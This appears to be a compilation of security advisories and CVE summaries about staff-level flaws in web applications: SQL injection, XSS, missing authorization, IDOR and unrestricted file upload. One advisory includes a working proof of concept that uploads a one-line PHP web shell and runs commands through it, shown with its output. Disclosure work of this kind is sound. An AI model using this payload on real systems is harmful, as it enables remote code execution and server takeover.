CVE-2026-108966 is a SQL injection vulnerability in SourceCodester Performance Indicator System version 1.0. The issue arises from improper handling of the 'Category' argument in the /opils/staff/product.php file, allowing remote attackers to inject SQL commands. The vulnerability has a CVSS 4.0 base score of 6.9, indicating a medium severity level. Exploit code is publicly available, but there are no confirmed reports of active exploitation in the wild. No patch or official remediation has been provided yet.
A vulnerability was determined in SourceCodester Performance Indicator System 1.0. This vulnerability affects unknown code of the file /opils/staff/edit_quantity.php. Executing a manipulation of the argument pqty can lead to sql injection. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized.
Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Products/VariantStock.php exposes stockAction() without edit_product_variants authorization and leaves public $variant client mutable because it lacks the Livewire Locked attribute. Any authenticated admin-panel user, including staff with only browse_products, can select an arbitrary product variant and inventory location through component state, then submit a positive or negative quantity adjustment. This permits browse-only staff to inflate stock, reduce stock, or force out-of-stock states for variants outside the current page. This issue is fixed in version 2.9.2.
Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, an earlier product sub-form hardening change left store() in packages/admin/src/Livewire/Components/Products/Form/Media.php without the edit_products authorization check used by sibling sub-forms. An authenticated staff user with browse_products can invoke the Livewire store action and replace the thumbnail and gallery images for a product whose Media component was initialized, even without product-edit permission. The product binding is locked, so the attacker cannot redirect the update to an arbitrary product through client-side ID substitution, and the impact is limited to products whose edit pages were loaded. This issue is fixed in version 2.9.2.
Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, packages/admin/src/Livewire/Components/Collection/CollectionProducts.php exposes Action::make('delete') and DeleteBulkAction::make() without delete_collections authorization, while public Collection $collection remains client mutable because it lacks the Livewire Locked attribute. An authenticated staff user with only browse_collections can invoke a Livewire removal action, substitute an arbitrary collection identifier, and detach selected products or empty the collection. This can disrupt catalog landing pages and promotions associated with the targeted collection. This issue is fixed in version 2.9.2.
Shopper is a Headless e-commerce Admin Panel. Prior to 2.9.2, groupedBulkActions in packages/admin/src/Livewire/Pages/Attribute/Browse.php, packages/admin/src/Livewire/Pages/Tag/Index.php, packages/admin/src/Livewire/Pages/Brand/Index.php, packages/admin/src/Livewire/Pages/Category/Index.php, and packages/admin/src/Livewire/Pages/Supplier/Index.php omit server-side authorization while the pages require only browse_attributes, browse_tags, browse_brands, browse_categories, or browse_suppliers. A browse-only staff user can invoke DeleteBulkAction to mass delete attributes or tags and can invoke BulkAction::make('enabled') or BulkAction::make('disabled') to change attribute, brand, category, or supplier visibility. These operations can break product variants and substantially disrupt storefront catalog visibility. Per-record actions and the comparison pages identified by the advisory are correctly authorized and are not affected. This issue is fixed in version 2.9.2.
## Summary
Three Livewire admin components in `shopper/framework` (latest master at commit `fcd0c59`, released as v2.8.0) gate state-mutating actions on the read-only `view_users` permission. This is the same class as the issue Shopper fixed in v2.8.0 / PR #511 / [GHSA-f946-9qp6-vgch](https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch) — the PR moved most write actions from `view_users` to `access_setting`, but three were missed (one of them is a brand-new file added by the security commit itself).
A staff user holding only `view_users` + `access_dashboard` (a realistic "support" or "viewer" role per Shopper's own `PermissionsTableSeeder`) can: (1) self-escalate by granting any permission to their own role; (2) create a brand-new admin team member with a chosen password and the `admin` role and then log in as that user; (3) delete arbitrary `permissions` rows (RBAC DoS) or — when `can_be_removed=true` — delete entire roles.
CVSS 3.1: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` = 8.8 (High). CWE-285 (Improper Authorization) + CWE-862 (Missing Authorization).
## Vulnerable components (paths relative to repo root)
### 1) `packages/admin/src/Livewire/Components/Settings/Team/Permissions.php`
- `togglePermission(int $id)` at line 28 calls `$this->authorize('view_users');`
- `removePermission(int $id)` at line 55 calls `$this->authorize('view_users');`
The Permissions blade at `packages/admin/resources/views/livewire/components/settings/team/permissions.blade.php` line 34 emits every permission's `id` directly in `wire:click` handlers, so the attacker does not even need to guess IDs — the page itself enumerates them.
Net effect: any user who can mount the Permissions component (gated on `view_users`) can grant any permission row to the bound `$role`. Granting `access_setting` to the attacker's own role unlocks every action that PR #511 supposedly hardened with `->authorize('access_setting')`. Granting `delete_customers`, `edit_orders`, `edit_products`, `add_brands`, etc. is direct data-modification escalation.
### 2) `packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php`
- `mount()` at line 53 calls `$this->authorize('view_users');`
- `store()` at line 122 calls `$this->authorize('view_users');`
This file is `new file mode 100755` in commit `fcd0c59` — it was created as part of the security fix and inherited the same misclassified gate.
`store()` creates a `User` with `email_verified_at = now()`, the attacker's chosen password, and any selected `role_id`. The `Radio::make('role_id')` options filter only excludes `config('shopper.admin.roles.user')`, so the `admin` role is selectable. Log out, log in as the new account → full admin.
### 3) `packages/admin/src/Livewire/Pages/Settings/Team/RolePermission.php`
- `deleteAction` at lines 81-90: only gated by `->visible($this->role->can_be_removed)`, with no `->authorize()` chain.
Page-level `mount` (line 52) requires only `view_users`. For any role with `can_be_removed = true`, a `view_users`-only user can call the action and delete the role (cascading the loss of permissions for every assigned user).
## Self-confirmation in the project's own test suite
The following tests are green on master @ `fcd0c59` — they ARE the PoC:
```
tests/Admin/Livewire/Components/Settings/Team/PermissionsTest.php
line 14-16: `givePermissionTo('view_users')` only
line 36-45: "can toggle permission to role" — passes
line 74-85: "can remove permission" — passes
tests/Admin/Livewire/SlideOvers/CreateTeamMemberTest.php
line 16-18: `givePermissionTo('view_users')` only
line 29-56: "can create new team member" — passes, asserts the new user `hasRole('manager')`
```
A `view_users`-only Livewire user actor successfully toggles permissions, removes permissions, and creates a new privileged user — verified by Shopper's own regression tests.
## Suggested fix
Change `$this->authorize('view_users')` to `$this->authorize('access_setting')` in:
- `Permissions::togglePermission`
- `Permissions::removePermission`
- `Permissions::mount` (defence in depth, matches `Team\Index`)
- `CreateTeamMember::mount`
- `CreateTeamMember::store`
Add `->authorize('access_setting')` to `RolePermission::deleteAction` (matches the pattern already applied to `generatePermissionsAction`, `createPermissionAction`, and `Team\Index::DeleteAction`).
Update the two regression tests to use `access_setting` instead of `view_users` so they accurately reflect the privilege boundary.
## Resources
- Prior advisory of the same class: https://github.com/shopperlabs/shopper/security/advisories/GHSA-f946-9qp6-vgch
- Fix commit that introduced these residual gaps: https://github.com/shopperlabs/shopper/commit/fcd0c5920588702df5b874f432b1042abd77a50b
- CWE-285 Improper Authorization
- CWE-862 Missing Authorization
### Credits
Reported by Vishal Shukla(@shukla304) using sechub.dev AI Agent
### Support
If this disclosure was useful and if users would like to support continued o
The Bookly plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 27.7 via the appointment() method of the Mobile Staff Cabinet API (resource=appointment, action=bookly_mobile_staff_cabinet) in frontend/modules/mobile_staff_cabinet/api/handlers/Handler1_0.php. This is due to the handler loading an Appointment by the attacker-supplied params[id] without verifying that the appointment's staff_id matches the authenticated staff member, whereas sibling operations (deleteAppointment, saveAppointment, appointments list) correctly scope to $this->staff->getId() when $this->role === ROLE_STAFF. This makes it possible for authenticated attackers, with staff-level mobile cabinet access (any valid access_key token bound to a Staff entity), to read appointment details — including the internal note and the full customer_appointments collection (customer full_name, email, phone, notes, custom_fields, extras, payment_total, payment_type, payment_status) — belonging to other staff members by enumerating sequential appointment IDs.
#### Summary
An authenticated user with the HR "Manage Employees" permission (`SA_EMPLOYEE`) can upload a file with an arbitrary extension through the employee **Documents** tab. The handler writes the raw client-supplied filename — extension intact — into a web served directory with no extension, MIME, or content validation, so a `.php` file is stored under the web root and executes as code, yielding remote code execution on the server.
#### Details
The document-upload branch in `hrm/manage/employees.php` (function `tab_documents()`) moves the uploaded file using the client filename verbatim:
```php
// hrm/manage/employees.php -> tab_documents() (HEAD lines 597-602; release 1.0.0 lines 568-573)
$upload_dir = company_path().'/documents/employees';
if (!file_exists($upload_dir))
mkdir($upload_dir, 0777, true);
$file_path = $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name'];
if (!move_uploaded_file($_FILES['doc_file']['tmp_name'], $file_path)) { ... }
```
There is **no** extension allow-list, `getimagesize()`, MIME check, or content inspection on this path. Contrast this with the profile photo (`pic`) upload in the *same file*, which validates image type/extension/size, and with core `includes/ui/attachment.inc`, which deliberately generates a random extension-less name (`uniqid()`) with a comment warning that client filenames must never be trusted. The document handler ignores that established safe pattern.
Reachability of the written file:
- `company_path()` resolves under the web root; `config.default.php` sets
`$comp_path = $path_to_root.'/company'`, so uploads land in `company/0/documents/employees/`.
- The only `.htaccess` in the project is the repo-root one, which denies `.inc/.po/.sh/.pem/.sql/.log`
only — it does **not** block `.php` and does **not** cover `company/`.
- The stored path is then echoed **unescaped** into a clickable "View" link
(`hrm/includes/ui/employee_ui.inc` lines 153-154 — `file_path` concatenated straight into `href`),
handing the attacker the exact URL of the shell (and creating a secondary stored-XSS sink, CWE-79).
A crafted multipart `filename` containing `../` additionally enables path traversal (CWE-22) on PHP builds that do not basename `['name']`.
#### Proof of Concept
The upload is gated by authentication and CSRF, but **neither gates the file itself**. Prerequisites: an authenticated session with `SA_EMPLOYEE`; an existing employee (`employee_no`); a valid `doc_type_id`; and the session CSRF token. The CSRF field is **`_token`** (validated by`check_csrf_token()` against `$_SESSION['csrf_token']`), so first GET the Documents form to read the
hidden `_token`, then submit. Against your **own** local instance:
```http
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <your-local-instance>
Cookie: <authenticated session>
Content-Type: multipart/form-data; boundary=b
--b
Content-Disposition: form-data; name="_token"
<value of the hidden _token field from the GET response>
--b
Content-Disposition: form-data; name="doc_type_id"
<a valid document type id>
--b
Content-Disposition: form-data; name="doc_name"
x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"
Save Document
--b--
```
Then request the stored file (its exact path is shown in the Documents tab's "View" link):
```http
GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1
```
The command in `c` executes on the server.
#### Validation (performed locally, no network)
The code-execution mechanism was confirmed on a local host (PHP 8.5). A harness running the handler's **verbatim** path/move logic wrote `company/0/documents/employees/1_<ts>_shell.php` (attacker-chosen `.php` extension, no validation applied), and requesting it through a PHP web server rooted at the app directory executed the payload:
```
$ curl '.../company/0/documents/employees/1_1783671979_shell.php?c=id'
uid=501(...) gid=20(staff) ...
$ curl '.../<same>.php?c=uname%20-sm;whoami'
Darwin arm64
<user>
```
Caveats: (1) the harness used `copy()` in place of `move_uploaded_file()` because a CLI process has no real multipart temp file — the client-filename handling and the absence of any validation are identical to production (`poc/rce_demo.php`); (2) PHP's built-in server executes the file by path, and a standard Apache/mod_php or Nginx+PHP-FPM deployment behaves the same, because the repo-root `.htaccess` does not block `.php` and does not cover `company/`. The full HTTP flow additionally requires the auth + `_token` + `doc_type_id` prerequisites above, none of which inspect the file.
#### Impact
Remote code execution on the hosting server by any authenticated operator holding the delegable `SA_EMPLOYEE` role (not necessarily an administrator). If a deployment grants `SA_EMPLOYEE` only to administrators, treat privile
NamelessMC is website software for Minecraft servers. In version 2.2.4, `modules/Forum/pages/forum/get_quotes.php` only checks whether the caller is logged in, then reads a post by attacker-controlled `post` ID and returns its content. The backend helper in `modules/Forum/classes/Forum.php` does not enforce forum or topic ACLs. In contrast, the normal topic page in `modules/Forum/pages/forum/view_topic.php` enforces forum visibility and `view_other_topics`. Any low-privileged authenticated user can enumerate post IDs and read content from hidden, private, or staff-only forums. Version 2.2.5 fixes the issue.
The Contact List plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the '_cl_map_iframe' parameter in all versions up to, and including, 3.0.18. This is due to insufficient input sanitization and output escaping when handling the Google Maps iframe custom field. The saveCustomFields() function in class-contact-list-custom-fields.php uses a regex to extract <iframe> tags from user input but does not validate or sanitize the iframe's attributes, allowing event handlers like 'onload' to be included. The extracted iframe HTML is stored via update_post_meta() and later rendered on the front-end in class-cl-public-card.php without any escaping or wp_kses filtering. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
A flaw has been found in PHPGurukul Staff Leave Management System 1.0. The affected element is the function ADD_STAFF/UPDATE_STAFF of the file /staffleave/slms/slms/adminviews.py of the component SVG File Handler. Executing a manipulation of the argument profile_pic can lead to cross site scripting. The attack can be executed remotely. The exploit has been published and may be used.
code-projects Computer Laboratory System 1.0 has a file upload vulnerability. Staff can upload malicious files by uploading PHP backdoor files when modifying personal avatar information and use web shell connection tools to obtain server permissions.
Maho is a free and open source ecommerce platform. In Maho prior to 25.9.0, an authenticated staff user with access to the `Dashboard` and `Catalog\Manage Products` permissions can create a custom option on a listing with a file input field. By allowing file uploads with a `.php` extension, the user can use the filed to upload malicious PHP files, gaining remote code execution. Version 25.9.0 fixes the issue.
A vulnerability was detected in RemoteClinic 2.0. This vulnerability affects unknown code of the file /staff/profile.php. The manipulation of the argument ID results in sql injection. The attack can be executed remotely.
A vulnerability was found in RemoteClinic up to 2.0. Impacted is an unknown function of the file /staff/edit-my-profile.php. The manipulation of the argument image results in unrestricted upload. The attack may be launched remotely. The exploit has been made public and could be used.
A flaw has been found in RemoteClinic up to 2.0. This vulnerability affects unknown code of the file /staff/edit.php. Executing manipulation of the argument Last Name can lead to cross site scripting. The attack can be launched remotely. The exploit has been published and may be used.
A vulnerability was detected in RemoteClinic up to 2.0. This affects an unknown part of the file /staff/edit.php. Performing manipulation of the argument image results in unrestricted upload. The attack can be initiated remotely. The exploit is now public and may be used. This vulnerability only affects products that are no longer supported by the maintainer.
A vulnerability, which was classified as critical, was found in code-projects Staff Audit System 1.0. Affected is an unknown function of the file /test.php. The manipulation of the argument uploadedfile leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.
A vulnerability, which was classified as critical, has been found in code-projects Staff Audit System 1.0. This issue affects some unknown processing of the file /login.php. The manipulation of the argument User leads to sql injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.